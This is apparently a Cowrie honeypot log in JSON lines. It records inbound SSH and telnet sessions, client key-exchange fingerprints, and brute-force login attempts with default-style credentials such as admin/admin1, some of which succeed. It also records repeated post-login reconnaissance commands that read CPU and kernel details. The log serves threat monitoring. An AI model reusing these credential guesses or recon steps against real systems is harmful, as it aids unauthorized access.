{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.622465Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin0001","message":"login attempt [admin/admin0001] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.637083Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.676628Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.679960Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.683617Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.695271Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.700737Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.128.149","src_port":51070,"dst_ip":"10.17.0.5","dst_port":23,"session":"af70c1a4507e","protocol":"telnet","message":"New connection: 92.204.128.149:51070 (10.17.0.5:23) [session: af70c1a4507e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:53.206343Z"}
{"eventid":"cowrie.session.closed","duration":120.00499725341797,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:57.361676Z","src_ip":"216.131.72.138","session":"242aa1c1458b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00462412834167,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:00.719731Z","src_ip":"216.131.72.138","session":"2a4304712b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":50776,"dst_ip":"159.203.135.109","dst_port":23,"session":"2008f94c934e","protocol":"telnet","message":"New connection: 216.131.72.138:50776 (159.203.135.109:23) [session: 2008f94c934e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:00.979228Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56448,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a927e4c065e","protocol":"ssh","message":"New connection: 159.203.92.129:56448 (159.203.135.109:22) [session: 8a927e4c065e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.742138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.746760Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.751703Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin01","message":"login attempt [admin/admin01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.766824Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.808488Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.811809Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.815665Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.827779Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:04.833988Z","src_ip":"159.203.92.129","session":"8a927e4c065e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":46490,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b3edcf6892","protocol":"ssh","message":"New connection: 74.91.224.229:46490 (10.17.0.5:22) [session: 33b3edcf6892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:16.822661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:16.827537Z","src_ip":"74.91.224.229","session":"33b3edcf6892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:17.067129Z","src_ip":"74.91.224.229","session":"33b3edcf6892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test9","password":"test","message":"login attempt [test9/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:18.054332Z","src_ip":"74.91.224.229","session":"33b3edcf6892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:19.296786Z","src_ip":"74.91.224.229","session":"33b3edcf6892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87144446372986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:24.077667Z","src_ip":"92.204.128.149","session":"af70c1a4507e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.209.74.247","src_port":51694,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3f78cb34082","protocol":"telnet","message":"New connection: 115.209.74.247:51694 (159.203.135.109:23) [session: c3f78cb34082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:27.800095Z"}
{"eventid":"cowrie.session.closed","duration":12.257230043411255,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:40.057209Z","src_ip":"115.209.74.247","session":"c3f78cb34082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42780,"dst_ip":"159.203.135.109","dst_port":22,"session":"6850528478a7","protocol":"ssh","message":"New connection: 159.203.92.129:42780 (159.203.135.109:22) [session: 6850528478a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.523566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.528328Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.533733Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1","message":"login attempt [admin/admin1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.589118Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.643345Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.647408Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.651705Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.665731Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:46.673040Z","src_ip":"159.203.92.129","session":"6850528478a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53590,"dst_ip":"159.203.135.109","dst_port":22,"session":"595c8f8e48ed","protocol":"ssh","message":"New connection: 2.57.121.112:53590 (159.203.135.109:22) [session: 595c8f8e48ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:56.699380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:56.704345Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:56.804252Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"191085","message":"login attempt [admin/191085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:57.274999Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190989","message":"login attempt [admin/190989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:58.378144Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190988","message":"login attempt [admin/190988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:58:59.479794Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190986","message":"login attempt [admin/190986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:00.584491Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19081974","message":"login attempt [admin/19081974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:01.693020Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:02.797542Z","src_ip":"2.57.121.112","session":"595c8f8e48ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":47506,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b65115b57e7","protocol":"ssh","message":"New connection: 74.91.224.229:47506 (10.17.0.5:22) [session: 5b65115b57e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:18.644629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:59:18.649957Z","src_ip":"74.91.224.229","session":"5b65115b57e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.c